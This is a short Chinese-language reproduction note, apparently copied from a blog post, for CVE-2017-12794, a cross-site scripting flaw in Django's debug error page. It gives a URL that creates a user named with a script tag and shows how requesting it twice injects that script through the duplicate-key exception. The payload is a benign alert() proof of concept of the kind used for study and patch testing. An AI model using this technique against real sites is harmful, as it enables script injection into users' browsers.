漏洞复现:
1.创建个用户:ip:8000/create_user/?username=<script>alert(7)</script>

显示用户已创建。
2.触发漏洞,再次访问ip:8000/create_user/?username=<script>alert(7)</script>

3.触发异常:duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(7)</script>) already exists.

4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。Django debug page XSS漏洞(CVE-2017-12794)
原文:https://blog.51cto.com/14259144/2421452